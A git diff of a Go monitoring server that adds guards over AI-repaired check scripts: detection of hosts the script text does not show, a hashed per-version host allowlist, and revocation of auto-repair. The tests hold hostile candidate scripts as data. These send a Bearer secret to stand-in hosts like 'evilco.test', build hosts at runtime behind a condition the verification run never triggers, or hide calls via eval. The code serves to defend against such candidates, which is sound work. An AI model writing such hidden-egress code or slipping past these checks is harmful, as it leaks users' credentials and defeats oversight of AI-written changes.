diff --git a/server/internal/aichecks/guards.go b/server/internal/aichecks/guards.go index dd4442561..33f9c4ecd 100644 --- a/server/internal/aichecks/guards.go +++ b/server/internal/aichecks/guards.go @@ -7,6 +7,7 @@ import ( "regexp" "slices" "sort" + "strconv" "strings" ) @@ -343,8 +344,207 @@ func dedupHosts(hosts []string) []string { return slices.Compact(hosts) } -// hostsHidden reports a candidate whose text shows no host while the previous -// version's did: its connections are built at runtime. -func hostsHidden(previous, candidate string, env map[string]string) bool { - return len(ScriptHosts(candidate, env)) == 0 && len(ScriptHosts(previous, env)) > 0 +// netCallRE finds a call that can open a connection: a request verb, a +// connect or open, a page navigation, a sub-check, or a call the text cannot +// name (eval, Function, a computed member). Matched on maskStrings output. +var netCallRE = regexp.MustCompile( + `(?:\.\s*(?:get|post|put|patch|delete|head|connect|open|goto)|\bsolidping\s*\.\s*[A-Za-z_$][\w$]*|` + + `\b(?:fetch|eval|Function)|\])\s*\(`) + +var ( + placeholderRE = regexp.MustCompile(`^"(\d+)"`) + placeholderAnyRE = regexp.MustCompile(`"\d+"`) + envReadRE = regexp.MustCompile(`^env\s*(?:\.\s*([A-Za-z_$][\w$]*)|\[\s*"(\d+)"\s*\])`) + urlStartRE = regexp.MustCompile(`(?i)^(?:https?|wss?)://`) + hostPortRE = regexp.MustCompile(`^[A-Za-z0-9.\-\[\]:]+$`) +) + +// hiddenSnippetMax caps the call site quoted in a refusal. +const hiddenSnippetMax = 80 + +// hiddenHost reports a candidate that can reach a host its text does not +// show, quoting the call site, or "" (spec 2026-10-24-01). It is the static +// half of the `repair: auto` rule, and fails closed: a candidate with more +// network call sites than the previous version, or a call site whose target +// is neither a string literal nor an env read, is hidden. The boundary is +// the repair grant every scheduled run of an applied version is held to. +func hiddenHost(previous, candidate string, env map[string]string) string { + prevCode, _ := maskStrings(previous) + candCode, literals := maskStrings(candidate) + prevSites := netCallSites(prevCode) + candSites := netCallSites(candCode) + + for _, site := range candSites { + if !visibleTarget(candCode[site:], literals, env) { + return callSnippet(candCode[:site], candCode[site:], literals) + } + } + + if len(candSites) > len(prevSites) { + return fmt.Sprintf("%d network calls where the previous version had %d", len(candSites), len(prevSites)) + } + + return "" +} + +// netCallSites lists the offsets of the first argument of every network call +// that has one. A call without argument (browser.open()) reaches no host. +func netCallSites(code string) []int { + var sites []int + + for _, match := range netCallRE.FindAllStringIndex(code, -1) { + arg := strings.TrimLeft(code[match[1]:], " \t\r\n") + if strings.HasPrefix(arg, ")") { + continue + } + + sites = append(sites, len(code)-len(arg)) + } + + return sites +} + +// visibleTarget reports a call argument whose host the text shows: a URL or +// host literal, or an env read, ending the argument or followed by a path. +func visibleTarget(arg string, literals []string, env map[string]string) bool { + if match := placeholderRE.FindStringSubmatch(arg); match != nil { + lit := literalAt(literals, match[1]) + if strings.Contains(lit, "${") { + return false + } + + switch { + case urlStartRE.MatchString(lit): + return argEnds(arg[len(match[0]):], authorityClosed(lit), literals) + case hostPortRE.MatchString(lit): + // A socket address: nothing may be appended ("http:" + ...). + rest := strings.TrimLeft(arg[len(match[0]):], " \t\r\n") + + return strings.HasPrefix(rest, ")") || strings.HasPrefix(rest, ",") + default: + return false + } + } + + if match := envReadRE.FindStringSubmatch(arg); match != nil { + name := match[1] + if name == "" { + name = literalAt(literals, match[2]) + } + + return argEnds(arg[len(match[0]):], authorityClosed(env[name]), literals) + } + + return false +} + +// argEnds reports the rest of an argument that cannot change its host: it +// ends there, or (closed or not) appends a literal starting with a path. +func argEnds(rest string, closed bool, literals []string) bool { + rest = strings.TrimLeft(rest, " \t\r\n") + + switch { + case strings.HasPrefix(rest, ")"), strings.HasPrefix(rest, ","): + return true + case strings.HasPrefix(rest, "+"): + if closed { + return true + } + + next := strings.TrimLeft(rest[1:], " \t\r\n") + if match := placeholderRE.FindStringSubmatch(next); match != nil { + lit := literalAt(literals, match[1]) + + return lit != "" && strings.ContainsRune("/?#", rune(lit[0])) + } + + return false + default: + return false + } +} + +// authorityClosed reports a URL whose host is followed by a path, query or +// fragment, so nothing appended can change the host. +func authorityClosed(raw string) bool { + _, rest, ok := strings.Cut(raw, "://") + + return ok && strings.ContainsAny(rest, "/?#") +} + +// literalAt is the content of the masked literal idx, quotes removed. +func literalAt(literals []string, idx string) string { + n, err := strconv.Atoi(idx) + if err != nil || n < 0 || n >= len(literals) { + return "" + } + + lit := literals[n] + if len(lit) >= 2 && lit[len(lit)-1] == lit[0] { + return lit[1 : len(lit)-1] + } + + return strings.TrimPrefix(lit, lit[:1]) +} + +// callSnippet quotes the call whose argument starts code[len(before):], with +// its string literals restored. +func callSnippet(before, from string, literals []string) string { + start := strings.LastIndexFunc(before, func(r rune) bool { return r == ';' || r == '\n' || r == '{' || r == '}' }) + text := strings.TrimSpace(before[start+1:]) + from + + if end := strings.IndexAny(text, ";\n"); end >= 0 { + text = text[:end] + } + + text = placeholderAnyRE.ReplaceAllStringFunc(text, func(placeholder string) string { + n, err := strconv.Atoi(strings.Trim(placeholder, `"`)) + if err != nil || n >= len(literals) { + return placeholder + } + + return literals[n] + }) + + if len(text) > hiddenSnippetMax { + text = text[:hiddenSnippetMax] + "..." + } + + return text +} + +// maskStrings strips the comments of a script and replaces each string +// literal by a "N" placeholder, N indexing the returned literals (quotes +// kept). Call sites are then matched on code only. +func maskStrings(script string) (string, []string) { + var ( + code strings.Builder + literals []string + ) + + runes := []rune(script) + + for i := 0; i < len(runes); i++ { + switch { + case startsComment(runes, i, '/'): + i = lineCommentEnd(runes, i) + if i < len(runes) { + code.WriteRune('\n') + } + case startsComment(runes, i, '*'): + i = blockCommentEnd(runes, i) + + code.WriteRune(' ') + case runes[i] == '"' || runes[i] == '\'' || runes[i] == '`': + end := stringEnd(runes, i) + code.WriteString(`"` + strconv.Itoa(len(literals)) + `"`) + literals = append(literals, string(runes[i:end+1])) + + i = end + default: + code.WriteRune(runes[i]) + } + } + + return code.String(), literals } diff --git a/server/internal/aichecks/hidden_host_test.go b/server/internal/aichecks/hidden_host_test.go new file mode 100644 index 000000000..2378fa650 --- /dev/null +++ b/server/internal/aichecks/hidden_host_test.go @@ -0,0 +1,83 @@ +package aichecks + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +const hiddenPrevious = `var auth = { headers: { Authorization: "Bearer " + secrets.TOKEN } }; +var r = http.get(env.BASE_URL + "/api", auth); +return { status: r.statusCode === 200 ? "up" : "down" };` + +// hiddenHost fails closed: any call site whose host the text does not show, +// or one network call more than the previous version, is hidden. +func TestHiddenHost(t *testing.T) { + t.Parallel() + + env := map[string]string{"BASE_URL": "https://acme.test", "API": "https://acme.test/v1/"} + call := func(target string) string { + return `var auth = { headers: { Authorization: "Bearer " + secrets.TOKEN } }; +var r = http.get(` + target + `, auth); +return { status: r.statusCode === 200 ? "up" : "down" };` + } + + cases := []struct { + name, candidate string + hidden bool + }{ + {"same call, other selector", call(`env.BASE_URL + "/api/v2"`), false}, + {"url literal", call(`"https://acme.test/api"`), false}, + {"open url literal and a path", call(`"https://acme.test" + "/api"`), false}, + {"closed env url and a variable", call(`env.API + path`), false}, + {"env read by literal key", call(`env["BASE_URL"] + "/api"`), false}, + { + "comment and string mention", + "// http.get(x)\n" + call(`env.BASE_URL + "/api"`) + `; var s = "http.get(y)";`, false, + }, + {"variable", call(`url`), true}, + {"env joined to a host", call(`env.BASE_URL + "@evilco.test/"`), true}, + {"env method call", call(`env.BASE_URL.replace("acme", "evilco")`), true}, + {"open url literal joined", call(`"https://acme.test" + ".evilco.test/"`), true}, + {"literal pieces", call(`"http:" + "//acme.test/api"`), true}, + {"template", call("`https://${host}/api`"), true}, + {"dynamic env key", call(`env[name]`), true}, + {"computed verb on a visible target", "var m = \"get\";\n" + `var r = http[m](env.BASE_URL + "/api");`, false}, + {"computed eval", `globalThis["ev" + "al"]("http.get(env.BASE_URL)"); return { status: "up" };`, true}, + {"eval", `eval("http.get(env.BASE_URL)"); return { status: "up" };`, true}, + {"sub-check", `var c = solidping.http({ url: env.BASE_URL }); return { status: "up" };`, true}, + {"session verb", `var s = http.session(); var r = s.get(u); return { status: "up" };`, true}, + { + "extra literal call", + hiddenPrevious + "\nhttp.get(\"https://acme.test/x\");", + true, + }, + { + "kept literal plus runtime branch", + hiddenPrevious + "\nif (Date.now() > 0) { http.get(\"https://\" + h + \"/\", auth); }", + true, + }, + {"no-argument call", `browser.open(); var r = http.get(env.BASE_URL + "/api"); return { status: "up" };`, false}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + got := hiddenHost(hiddenPrevious, tc.candidate, env) + if tc.hidden { + require.NotEmpty(t, got) + } else { + require.Empty(t, got) + } + }) + } +} + +func TestHiddenHostQuotesTheCallSite(t *testing.T) { + t.Parallel() + + candidate := hiddenPrevious + "\nif (Date.now() > 0) { http.get(\"https://\" + h + \".evilco.test/\", auth); }" + require.Equal(t, `http.get("https://" + h + ".evilco.test/", auth)`, + hiddenHost(hiddenPrevious, candidate, nil)) +} diff --git a/server/internal/aichecks/repair.go b/server/internal/aichecks/repair.go index 18e11357e..e7b2f31ba 100644 --- a/server/internal/aichecks/repair.go +++ b/server/internal/aichecks/repair.go @@ -6,6 +6,7 @@ import ( "errors" "fmt" "net/url" + "slices" "strings" "time" @@ -373,7 +374,7 @@ func (s *Service) recordAttempt( func (s *Service) attemptRepair(ctx context.Context, target *repairTarget) (*RepairOutcome, ai.Usage, error) { previous := target.cfg.Script env := target.cfg.Env - allowed := repairHosts(previous, env) + allowed := grantedHosts(target.cfg) rec := &runRecorder{ runner: s.runner, @@ -431,7 +432,7 @@ func (s *Service) storeCandidate(ctx context.Context, target *repairTarget, cand guardErr := CheckCandidate(cfg.Script, candidate, cfg.Env) if guardErr == nil { - verify, err := s.runner.Run(ctx, candidate, cfg.Env, target.secrets, repairHosts(cfg.Script, cfg.Env), cfg.Timeout) + verify, err := s.runner.Run(ctx, candidate, cfg.Env, target.secrets, grantedHosts(cfg), cfg.Timeout) if err != nil { guardErr = err } else if !verify.Up() { @@ -448,13 +449,18 @@ func (s *Service) storeCandidate(ctx context.Context, target *repairTarget, cand reason += " (not applied: " + guardErr.Error() + ")" } - // The allowlist only holds the AI-loop runs. A candidate whose hosts the - // text no longer shows (built at runtime) would run on schedule with the - // secrets and no allowlist, so it is proposed, never applied. - if guardErr == nil && mode == jsconfig.RepairAuto && hostsHidden(cfg.Script, candidate, cfg.Env) { - reason += " (not applied: the candidate's hosts cannot be read from its text)" + // An applied candidate is held on schedule to the hosts the previous + // version reached (its repair grant), which is the boundary. On top of it, + // a candidate that can reach a host its text does not show is proposed, + // never applied: the loop and the verification run only refuse the + // connections they make, and a branch they never took could still run on + // schedule. + if guardErr == nil && mode == jsconfig.RepairAuto { + if hidden := hiddenHost(cfg.Script, candidate, cfg.Env); hidden != "" { + reason += " (not applied: the candidate can reach a host its text does not show: " + hidden + ")" - return s.proposeRepair(ctx, target, candidate, reason) + return s.proposeRepair(ctx, target, candidate, reason) + } } if guardErr == nil && mode == jsconfig.RepairAuto { @@ -553,11 +559,21 @@ func (s *Service) appliedRepairWithin(ctx context.Context, checkUID string, wind // repairedConfig is the check's config with the candidate script and the ai // block's model and timestamp refreshed. Secrets are not in it: they never // change in a repair, and every write path keeps the current ones. -func (s *Service) repairedConfig(target *repairTarget, candidate string) map[string]any { +// +// granted carries the repair allowlist (spec 2026-10-24-01): only a version +// `repair: auto` applies is held to the hosts the version before it reached. +// A proposal carries none, a human approves it. +func (s *Service) repairedConfig(target *repairTarget, candidate string, granted bool) map[string]any { now := s.now().UTC().Truncate(time.Second) block := *target.cfg.AI block.Model = s.client.Model block.GeneratedAt = &now + block.RepairHosts, block.RepairGrant = nil, "" + + if granted { + block.RepairHosts = grantedHosts(target.cfg) + block.RepairGrant = jsconfig.RepairDigest(candidate, target.cfg.Env) + } out := map[string]any{} @@ -571,11 +587,28 @@ func (s *Service) repairedConfig(target *repairTarget, candidate string) map[str return out } +// grantedHosts is the allowlist of an applied repair: the hosts the previous +// version reached, narrowed to its own grant when it was itself an applied +// repair. Never nil, so an empty grant still serializes and allows nothing. +func grantedHosts(previous *checkjs.JSConfig) []string { + hosts := repairHosts(previous.Script, previous.Env) + + if held, ok := previous.RepairAllowlist(); ok { + hosts = slices.DeleteFunc(hosts, func(host string) bool { return !slices.Contains(held, host) }) + } + + if hosts == nil { + hosts = []string{} + } + + return hosts +} + func (s *Service) proposeRepair( ctx context.Context, target *repairTarget, candidate, reason string, ) (*RepairOutcome, error) { proposed := *target.check - proposed.Config = models.JSONMap(s.repairedConfig(target, candidate)) + proposed.Config = models.JSONMap(s.repairedConfig(target, candidate, false)) labels, err := s.db.GetLabelsForCheck(ctx, target.check.UID) if err != nil { @@ -629,7 +662,7 @@ func (s *Service) applyRepair( source.BaseVersion = &base } - config := s.repairedConfig(target, candidate) + config := s.repairedConfig(target, candidate, true) req := &checks.UpdateCheckRequest{Config: &config} _, err = s.checks.UpdateCheck(dbctx.WithChange(ctx, source), target.org.Slug, target.check.UID, req) diff --git a/server/internal/aichecks/repair_grant_test.go b/server/internal/aichecks/repair_grant_test.go new file mode 100644 index 000000000..7876c3e71 --- /dev/null +++ b/server/internal/aichecks/repair_grant_test.go @@ -0,0 +1,154 @@ +package aichecks_test + +import ( + "context" + "encoding/json" + "strings" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/fclairamb/solidping/server/internal/aichecks" + "github.com/fclairamb/solidping/server/internal/checkers/checkerdef" + "github.com/fclairamb/solidping/server/internal/checkers/checkjs" + jsconfig "github.com/fclairamb/solidping/server/internal/checkers/checkjs/config" + "github.com/fclairamb/solidping/server/internal/db/models" + "github.com/fclairamb/solidping/server/internal/handlers/checks" +) + +// storedJS is the check's stored config, parsed, with its real secret. +func (fx *fixture) storedJS(t *testing.T, checkUID string) *checkjs.JSConfig { + t.Helper() + + stored, err := fx.db.GetCheck(fx.ctx, fx.org.UID, checkUID) + require.NoError(t, err) + + cfg := &checkjs.JSConfig{} + require.NoError(t, cfg.FromMap(stored.Config)) + cfg.Secrets = map[string]string{"TOKEN": testSecret} + + return cfg +} + +// Regression (spec 2026-10-24-01): the candidate keeps the previous version's +// host and adds a branch to a host built at runtime, behind a condition that +// does not hold in the loop nor the verification run. Every gate passes, so +// `repair: auto` used to apply it. It is proposed, and the reason quotes the +// call whose host the text does not show. +func TestRepairAutoProposesAKeptHostPlusARuntimeHost(t *testing.T) { + t.Parallel() + + r := require.New(t) + api, evil := newSink(t), newSink(t) + candidate := fixedScript + ` +if (env.FIRE === "yes") { http.get("http://" + ["local", "host"].join("") + ":` + evil.port + `/", auth); }` + r.NoError(aichecks.CheckCandidate(oldScript, candidate, map[string]string{"BASE_URL": api.srv.URL}), + "the mechanical guards do not see the branch") + + fx := newFixture(t, always(candidate), nil) + check := fx.createAICheck(t, api.srv.URL, "auto") + fx.driftResults(t, check.UID, 3, driftOutput()) + + outcome, err := fx.svc.Repair(fx.ctx, fx.org.UID, check.UID) + r.NoError(err) + r.Equal(aichecks.OutcomeProposed, outcome.Outcome, outcome.Reason) + r.Contains(outcome.Reason, `not applied: the candidate can reach a host its text does not show: `+ + `http.get("http://" + ["local", "host"].join("")`) + r.Equal(oldScript, fx.script(t, check.UID)) + r.Zero(evil.hits()) + + // The proposal carries no grant: a human approves it. + row, err := fx.db.GetCheckVersion(fx.ctx, check.UID, outcome.Version) + r.NoError(err) + snapshot, err := json.Marshal(row.Snapshot) + r.NoError(err) + r.NotContains(string(snapshot), "repair_grant") + r.Contains(string(snapshot), "env.FIRE", "positive control: the snapshot holds the candidate") +} + +// An auto-applied version records the hosts the previous version reached, +// and a human edit of its script drops them: the new literal host is then +// reachable with the secret. +func TestRepairAutoGrantsThePreviousHosts(t *testing.T) { + t.Parallel() + + r := require.New(t) + api, other := newSink(t), newSink(t) + fx := newFixture(t, always(fixedScript), nil) + check := fx.createAICheck(t, api.srv.URL, "auto") + fx.driftResults(t, check.UID, 3, driftOutput()) + + outcome, err := fx.svc.Repair(fx.ctx, fx.org.UID, check.UID) + r.NoError(err) + r.Equal(aichecks.OutcomeApplied, outcome.Outcome, outcome.Reason) + + applied := fx.storedJS(t, check.UID) + hosts, held := applied.RepairAllowlist() + r.True(held) + r.Equal([]string{"127.0.0.1"}, hosts) + + result, err := (&checkjs.JSChecker{}).Execute(context.Background(), applied) + r.NoError(err) + r.Equal(checkerdef.StatusUp, result.Status, result.Output) + + // A human adds a call to another host. + edited := strings.Replace(fixedScript, "var r = http.get", + `http.get("http://localhost:`+other.port+`/", auth); +var r = http.get`, 1) + stored, err := fx.db.GetCheck(fx.ctx, fx.org.UID, check.UID) + r.NoError(err) + r.Contains(stored.Config["ai"], "repair_grant", "positive control: the stored ai block holds the grant") + + cfg := map[string]any(stored.Config) + cfg["script"] = edited + _, err = fx.checks.UpdateCheck(fx.ctx, fx.org.Slug, check.UID, &checks.UpdateCheckRequest{Config: &cfg}) + r.NoError(err) + + humanEdit := fx.storedJS(t, check.UID) + r.Equal(edited, humanEdit.Script) + r.Empty(humanEdit.AI.RepairGrant, "the edit dropped the grant") + r.Empty(humanEdit.AI.RepairHosts) + r.Equal(jsconfig.RepairAuto, humanEdit.AI.Repair) + + result, err = (&checkjs.JSChecker{}).Execute(context.Background(), humanEdit) + r.NoError(err) + r.Equal(checkerdef.StatusUp, result.Status, result.Output) + r.True(other.sawSecret(), "the new literal host is reachable") +} + +// A scheduled run refused by the grant flips the check back to `repair: +// propose` and records why; a check not in auto mode is left alone. +func TestRevokeAutoRepair(t *testing.T) { + t.Parallel() + + r := require.New(t) + api := newSink(t) + fx := newFixture(t, always(fixedScript), nil) + check := fx.createAICheck(t, api.srv.URL, "auto") + + flipped, err := aichecks.RevokeAutoRepair(fx.ctx, fx.db, fx.org.UID, check.UID, "refused: localhost") + r.NoError(err) + r.True(flipped) + + stored := fx.storedJS(t, check.UID) + r.Equal(jsconfig.RepairPropose, stored.AI.Repair) + r.Equal(oldScript, stored.Script) + + reloaded, err := fx.db.GetCheck(fx.ctx, fx.org.UID, check.UID) + r.NoError(err) + r.NotNil(reloaded.ConfigPrivate, "the secrets are kept") + + checkUID := check.UID + events, err := fx.db.ListEvents(fx.ctx, &models.ListEventsFilter{ + OrganizationUID: fx.org.UID, CheckUID: &checkUID, + EventTypes: []models.EventType{models.EventTypeCheckAIRepairRevoked}, + }) + r.NoError(err) + r.Len(events, 1) + r.Equal("refused: localhost", events[0].Payload["error"]) + + // Already propose: nothing more. + flipped, err = aichecks.RevokeAutoRepair(fx.ctx, fx.db, fx.org.UID, check.UID, "refused: localhost") + r.NoError(err) + r.False(flipped) +} diff --git a/server/internal/aichecks/revoke.go b/server/internal/aichecks/revoke.go new file mode 100644 index 000000000..a08b88ec4 --- /dev/null +++ b/server/internal/aichecks/revoke.go @@ -0,0 +1,76 @@ +package aichecks + +import ( + "context" + "fmt" + + "github.com/fclairamb/solidping/server/internal/checkers/checkjs" + jsconfig "github.com/fclairamb/solidping/server/internal/checkers/checkjs/config" + "github.com/fclairamb/solidping/server/internal/db" + "github.com/fclairamb/solidping/server/internal/db/dbctx" + "github.com/fclairamb/solidping/server/internal/db/models" +) + +// revokeReason is the reason stored on the version that revokes `repair: auto`. +const revokeReason = "AI repair: a run reached a host outside the repair grant, repair set back to propose" + +// RepairHostRefused reports a result whose repair-applied script reached a +// host outside its repair grant (spec 2026-10-24-01). +func RepairHostRefused(output map[string]any) bool { + refused, _ := output[checkjs.OutputKeyRepairRefused].(bool) + + return refused +} + +// RevokeAutoRepair sets a check whose repair-applied script reached a host +// outside its grant back to `repair: propose`, so the next repair needs a +// human, and records a check.ai_repair_revoked event. The applied version +// keeps its grant: it stays held, and keeps failing, until someone edits it. +// A check not in `repair: auto` is left alone. Reports whether it flipped. +func RevokeAutoRepair(ctx context.Context, dbSvc db.Service, orgUID, checkUID, refusal string) (bool, error) { + check, err := dbSvc.GetCheck(ctx, orgUID, checkUID) + if err != nil { + return false, fmt.Errorf("loading the check: %w", err) + } + + block, ok := check.Config["ai"].(map[string]any) + if !ok { + return false, nil + } + + if mode, _ := block["repair"].(string); mode != string(jsconfig.RepairAuto) { + return false, nil + } + + revoked := make(map[string]any, len(block)) + for key, value := range block { + revoked[key] = value + } + + revoked["repair"] = string(jsconfig.RepairPropose) + + config := models.JSONMap{} + for key, value := range check.Config { + config[key] = value + } + + config["ai"] = revoked + + changeCtx := dbctx.WithChange(ctx, &dbctx.ChangeSource{ + Origin: string(models.CheckVersionOriginSystem), Reason: revokeReason, + }) + if err := dbSvc.UpdateCheck(changeCtx, check.UID, &models.CheckUpdate{Config: &config}); err != nil { + return false, fmt.Errorf("setting repair back to propose: %w", err) + } + + event := models.NewEvent(check.OrganizationUID, models.EventTypeCheckAIRepairRevoked, models.ActorTypeSystem) + event.CheckUID = &check.UID + event.Payload["reason"] = revokeReason + event.Payload["error"] = refusal + + if err := dbSvc.CreateEvent(ctx, event); err != nil { + return true, fmt.Errorf("recording the revocation: %w", err) + } + + return true, nil +} diff --git a/server/internal/aichecks/runner_allowlist_test.go b/server/internal/aichecks/runner_allowlist_test.go index 4244f295f..5d6c354f6 100644 --- a/server/internal/aichecks/runner_allowlist_test.go +++ b/server/internal/aichecks/runner_allowlist_test.go @@ -163,8 +163,8 @@ func TestRepairDynamicEnvKeyIsRefused(t *testing.T) { // Positive control: a candidate reaching the previous host through a URL // built at runtime still runs with the real secret, and is proposed. With -// `repair: auto` it is proposed too, never applied: its hosts cannot be read -// from its text, and scheduled runs carry no allowlist. +// `repair: auto` it is proposed too, never applied: its text does not show +// the host it reaches. func TestRepairRuntimeURLToThePreviousHostRuns(t *testing.T) { t.Parallel() @@ -189,7 +189,7 @@ func TestRepairRuntimeURLToThePreviousHostRuns(t *testing.T) { r.Equal(aichecks.OutcomeProposed, outcome.Outcome, outcome.Reason) if mode == "auto" { - r.Contains(outcome.Reason, "not applied: the candidate's hosts cannot be read from its text") + r.Contains(outcome.Reason, "not applied: the candidate can reach a host its text does not show") r.Equal(oldScript, fx.script(t, check.UID)) } }) diff --git a/server/internal/checkers/checkjs/checker.go b/server/internal/checkers/checkjs/checker.go index 5de8f952a..3e1849f5e 100644 --- a/server/internal/checkers/checkjs/checker.go +++ b/server/internal/checkers/checkjs/checker.go @@ -150,6 +150,17 @@ func (c *JSChecker) Execute(ctx context.Context, config checkerdef.Config) (*che ctx, cancel := context.WithTimeout(ctx, timeout) defer cancel() + // A script `repair: auto` applied is held to the hosts the version before + // it reached, on every run with real secrets (spec 2026-10-24-01), as the + // repair loop held it. A caller that already holds the run (the AI loop) + // keeps its own list. + var repairList *egress.HostAllowlist + if hosts, held := cfg.RepairAllowlist(); held && hasSecretValues(cfg.Secrets) && + egress.HostAllowlistFrom(ctx) == nil { + repairList = egress.NewHostAllowlist(hosts) + ctx = egress.WithHostAllowlist(ctx, repairList) + } + start := time.Now() runtime := newJSRuntime(ctx, cfg) @@ -205,9 +216,59 @@ func (c *JSChecker) Execute(ctx context.Context, config checkerdef.Config) (*che // status earns (spec §5), so no branch here has to remember the rule. runtime.attachScreenshot(result) + if refused := repairList.Refused(); refused != nil { + return runtime.repairRefusal(refused, duration), nil + } + return result, nil } +// OutputKeyRepairRefused flags the result of a repair-applied script that +// tried to reach a host outside its repair allowlist. The result pipeline +// flips the check back to `repair: propose` on it. +const OutputKeyRepairRefused = "aiRepairHostRefused" + +// hasSecretValues reports a secrets map holding at least one real value. +func hasSecretValues(secrets map[string]string) bool { + for _, value := range secrets { + if value != "" { + return true + } + } + + return false +} + +// withheldHost names a refused host built at runtime: it may carry a secret. +const withheldHost = "[a host built at runtime]" + +// repairRefusal is the error result of a run its repair allowlist refused. +// The host is named only when the script or the env spells it out. +func (r *jsRuntime) repairRefusal(refused *egress.HostNotAllowedError, duration time.Duration) *checkerdef.Result { + target := withheldHost + needle := strings.ToLower(refused.Target) + + texts := make([]string, 0, 1+len(r.config.Env)) + texts = append(texts, r.config.Script) + + for _, value := range r.config.Env { + texts = append(texts, value) + } + + for _, text := range texts { + if strings.Contains(strings.ToLower(text), needle) { + target = refused.Target + + break + } + } + + output := r.buildOutput("the script reached a host its AI repair was not granted: " + target) + output[OutputKeyRepairRefused] = true + + return &checkerdef.Result{Status: checkerdef.StatusError, Duration: duration, Output: output} +} + // resultFor turns the script's outcome — a returned value, a throw, or an // interrupt — into the check's result. Split out of Execute so the capture // decision above has a single result to reason about instead of four returns. diff --git a/server/internal/checkers/checkjs/config/ai.go b/server/internal/checkers/checkjs/config/ai.go index f1d9ae13e..63018523c 100644 --- a/server/internal/checkers/checkjs/config/ai.go +++ b/server/internal/checkers/checkjs/config/ai.go @@ -1,6 +1,8 @@ package config import ( + "crypto/sha256" + "encoding/hex" "fmt" "slices" "strings" @@ -30,10 +32,13 @@ const ( aiKeyModel = "model" aiKeyGeneratedAt = "generated_at" aiKeyRepair = "repair" + aiKeyRepairHosts = "repair_hosts" + aiKeyRepairGrant = "repair_grant" maxPromptLength = 4000 maxContractEntries = 30 maxContractLength = 500 + maxRepairHosts = 50 ) // RepairModes lists the accepted repair values. @@ -53,6 +58,34 @@ type AIConfig struct { GeneratedAt *time.Time `json:"generated_at,omitempty"` //nolint:tagliatelle // snake_case like the other config keys // Repair is off, propose (default) or auto. Repair RepairMode `json:"repair,omitempty"` + // RepairHosts is the host allowlist of a script `repair: auto` applied + // (spec 2026-10-24-01): the hosts the version before it contacted. Every + // run of that script is held to them. + RepairHosts []string `json:"repair_hosts,omitempty"` //nolint:tagliatelle // snake_case like the other config keys + // RepairGrant binds RepairHosts to one script and env: RepairDigest of + // the version the repair applied. Any other script or env (a human edit) + // is not held, and NormalizeConfig drops the stale grant. + RepairGrant string `json:"repair_grant,omitempty"` //nolint:tagliatelle // snake_case like the other config keys +} + +// RepairDigest is the grant a repair-applied script carries: a SHA-256 over +// the script and its env. +func RepairDigest(script string, env map[string]string) string { + keys := make([]string, 0, len(env)) + for key := range env { + keys = append(keys, key) + } + + slices.Sort(keys) + + sum := sha256.New() + _, _ = fmt.Fprintf(sum, "%d:%s", len(script), script) + + for _, key := range keys { + _, _ = fmt.Fprintf(sum, "\n%d:%s=%d:%s", len(key), key, len(env[key]), env[key]) + } + + return hex.EncodeToString(sum.Sum(nil)) } // EffectiveRepair is the repair mode with the default applied. @@ -105,7 +138,7 @@ func (a *AIConfig) setField(key string, value any) error { } switch key { - case aiKeyPrompt, aiKeyModel, aiKeyRepair, aiKeyGeneratedAt: + case aiKeyPrompt, aiKeyModel, aiKeyRepair, aiKeyGeneratedAt, aiKeyRepairGrant: str, ok := value.(string) if !ok { return aiFieldError(key, "must be a string") @@ -113,12 +146,19 @@ func (a *AIConfig) setField(key string, value any) error { return a.setString(key, str) case aiKeyContract: - contract, err := contractFromAny(value) + contract, err := stringListFromAny(aiKeyContract, value) if err != nil { return err } a.Contract = contract + case aiKeyRepairHosts: + hosts, err := stringListFromAny(aiKeyRepairHosts, value) + if err != nil { + return err + } + + a.RepairHosts = hosts default: return aiFieldError(key, "is not a known field") } @@ -134,6 +174,8 @@ func (a *AIConfig) setString(key, value string) error { a.Model = value case aiKeyRepair: a.Repair = RepairMode(value) + case aiKeyRepairGrant: + a.RepairGrant = value case aiKeyGeneratedAt: if value == "" { return nil @@ -150,14 +192,14 @@ func (a *AIConfig) setString(key, value string) error { return nil } -func contractFromAny(value any) ([]string, error) { +func stringListFromAny(key string, value any) ([]string, error) { if typed, ok := value.([]string); ok { return typed, nil } list, ok := value.([]any) if !ok { - return nil, aiFieldError(aiKeyContract, "must be a list of strings") + return nil, aiFieldError(key, "must be a list of strings") } out := make([]string, 0, len(list)) @@ -165,7 +207,7 @@ func contractFromAny(value any) ([]string, error) { for _, item := range list { str, ok := item.(string) if !ok { - return nil, aiFieldError(aiKeyContract, "must be a list of strings") + return nil, aiFieldError(key, "must be a list of strings") } out = append(out, str) @@ -203,6 +245,16 @@ func (a *AIConfig) toMap() map[string]any { out[aiKeyRepair] = string(a.Repair) } + if a.RepairGrant != "" { + hosts := make([]any, 0, len(a.RepairHosts)) + for _, host := range a.RepairHosts { + hosts = append(hosts, host) + } + + out[aiKeyRepairHosts] = hosts + out[aiKeyRepairGrant] = a.RepairGrant + } + return out } @@ -221,6 +273,10 @@ func (a *AIConfig) Validate() error { return aiFieldError(aiKeyContract, "must not be empty when a prompt is set") } + if len(a.RepairHosts) > maxRepairHosts { + return aiFieldError(aiKeyRepairHosts, fmt.Sprintf("must have at most %d entries", maxRepairHosts)) + } + if len(a.Contract) > maxContractEntries { return aiFieldError(aiKeyContract, fmt.Sprintf("must have at most %d entries", maxContractEntries)) } diff --git a/server/internal/checkers/checkjs/config/ai_test.go b/server/internal/checkers/checkjs/config/ai_test.go index 61f61768e..be677d011 100644 --- a/server/internal/checkers/checkjs/config/ai_test.go +++ b/server/internal/checkers/checkjs/config/ai_test.go @@ -90,3 +90,58 @@ func TestAIBlockValidation(t *testing.T) { }) } } + +// A repair grant round-trips, and NormalizeConfig keeps it only while the +// script and env are the ones it was issued for (spec 2026-10-24-01). +func TestRepairGrantNormalization(t *testing.T) { + t.Parallel() + + r := require.New(t) + env := map[string]any{"BASE_URL": "https://acme.test"} + grant := jsconfig.RepairDigest(okScript, map[string]string{"BASE_URL": "https://acme.test"}) + in := map[string]any{ + "script": okScript, + "env": env, + "ai": map[string]any{ + "repair": "auto", "repair_hosts": []any{"acme.test"}, "repair_grant": grant, + }, + } + + cfg := &jsconfig.JSConfig{} + r.NoError(cfg.FromMap(in)) + r.NoError(cfg.Validate()) + r.Equal(in["ai"], cfg.GetConfig()["ai"]) + + hosts, held := cfg.RepairAllowlist() + r.True(held) + r.Equal([]string{"acme.test"}, hosts) + + kept, err := 